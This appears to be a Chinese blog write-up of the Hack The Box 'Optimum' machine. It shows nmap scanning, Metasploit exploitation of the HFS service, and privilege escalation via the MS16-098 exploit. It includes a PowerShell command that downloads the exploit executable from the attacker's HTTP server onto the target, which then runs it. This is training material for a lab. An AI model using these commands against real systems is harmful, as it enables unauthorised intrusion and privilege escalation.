当前位置:网站首页>hack the box optimum靶机
hack the box optimum靶机
2022-04-23 02:26:00 【zr1213159840】
首先打开靶场,直接nmap开扫。
nmap -sV -Pn -A 10.10.10.8

通过扫描结果知道开启了80端口,80端口跑了HFS服务。顺势去msf搜索一下HFS有哪些漏洞
search hfs

使用下面的hfs的命令执行,然后看下要配置哪些东西
use 1
options

需要配置好远程主机,本地主机,配置好,run。多run几次,前面几次容易失败,而且要等挺久的。
set RHOSTS 10.10.10.8
set LHOSTS 10.10.14.17
run
利用成功后,返回meterpreter。然后看下当前文件夹的文件。能看到user的flag

可以直接读取user.txt.txt或者进入shell,读取user.txt.txt
#直接读取
cat user.txt.txt

接着继续找,看能不能进administrator文件夹,发现不能,而且也不能新建用户。


想着直接用msf的提权,但是执行后没有获得权限。那么我们应该怎么提权呢?看下打了哪些补丁。systeminfo还是能执行的。

拿到这个信息后,使用Windows-Exploit-Suggester脚本对比,看下突破点。(这个地方我怎么跑这个脚本都不行,说xlrd报错,这个脚本是用python2写的,大家注意。)
地址为https://git哈布.com/AonCyberLabs/Windows-Exploit-Suggester。使用方法看一下readme就行。记得是python2而且要装xlrd。
将远端的systeminfo信息复制下来,然后使用下面这条命令对比
python2 windows-exploit-suggester.py --database 2021-04-21-mssb.xls --systeminfo sysinfo.txt
对比结果能发现可以使用MS16–098提权。可以通过这个链接获取提权的exe。
https://git哈布.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41020.exe
下载后,在exe文件夹下启动一个本地的http服务器
python3 -m http.server 888
然后在靶机的shell中执行以下命令
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.17:888/41020.exe', 'c:\Users\Public\Downloads\41020.exe')"
这个命令的意思是下载10.10.14.17上面的41020.exe,然后放在后面的位置下面。

在对应位置找到,然后执行41020.exe,顺利拿到最高权限

去到users/administrator/desktop下面拿到root.txt,搞定。

后记:发现前面的users.txt不难,但是在后面提权过程中就涉及到了python2环境等问题,很麻烦。特别是Windows-Exploit-Suggester脚本执行的不成功,我那段是直接参考了别人的内容,大家可以自己试试。特别kali似乎不带pip2,可以参考后面的链接。
参考链接
https://ranakhalil101.medium.com/hack-the-box-optimum-writeup-w-o-metasploit-3a912e1c488c
pip2安装的链接可以参考:
https://www.cnblogs.com/lzkalislw/p/15579620.html
版权声明
本文为[zr1213159840]所创,转载请带上原文链接,感谢
https://blog.csdn.net/zr1213159840/article/details/124331737
边栏推荐
- 小程序 canvas 画布半圆环
- 从0开始开发一个chrome插件(2)
- Class initialization and instance initialization interview questions
- LeetCode 349. Intersection of two arrays (simple, array) Day12
- 一个国产图像分割项目重磅开源!
- [assembly language] understand "stack" from the lowest point of view
- 全局、独享、局部路由守卫
- IAR embedded development stm32f103c8t6 Lighting LED
- Rich intelligent auxiliary functions and exposure of Sihao X6 security configuration: it will be pre sold on April 23
- wordpress 调用指定页面内容详解2 get_children()
猜你喜欢

001_redis设置存活时间

006_redis_SortedSet类型

VMware virtual machine installation openwrt as side route single arm route img image to vmdk

How does Axure set the content of the text box to the current date when the page is loaded

002_ Redis_ Common operation commands of string type

Chinese scientists reveal a new mechanism for breaking through the bottleneck of rice yield

认识进程(多线程_初阶)

Real math problems in 1958 college entrance examination

A simple and open source navigation website source code
![Parental delegation model [understanding]](/img/ba/07e280a2634018e0d6b56c05dd3bc0.png)
Parental delegation model [understanding]
随机推荐
Arduino esp8266 network upgrade OTA
WordPress calls the specified page content. 2 get_ children()
010_StringRedisTemplate
数仓建表111111
MySQL C language connection
Parental delegation model [understanding]
Hyperscan -- 2 compilation
Applet canvas canvas half ring
tp6阿裏雲短信 window 報 cURL error 60: SSL certificate problem: unable to get local issuer certificate
Time. In ANSI standard library H header file
2018 China Collegiate Programming Contest - Guilin Site J. stone game
Multithreading technology core
类初始化和实例初始化面试题
89 logistic回歸用戶畫像用戶響應度預測
【汇编语言】从最底层的角度理解“堆栈”
011_ Redistemplate operation hash
从开源爱好者到 Apache 董事,一共分几步?
用TensorFlow实现线性回归(包括过程中出现的问题及解决方法)
Web learning record (medium)
Startup of openstack service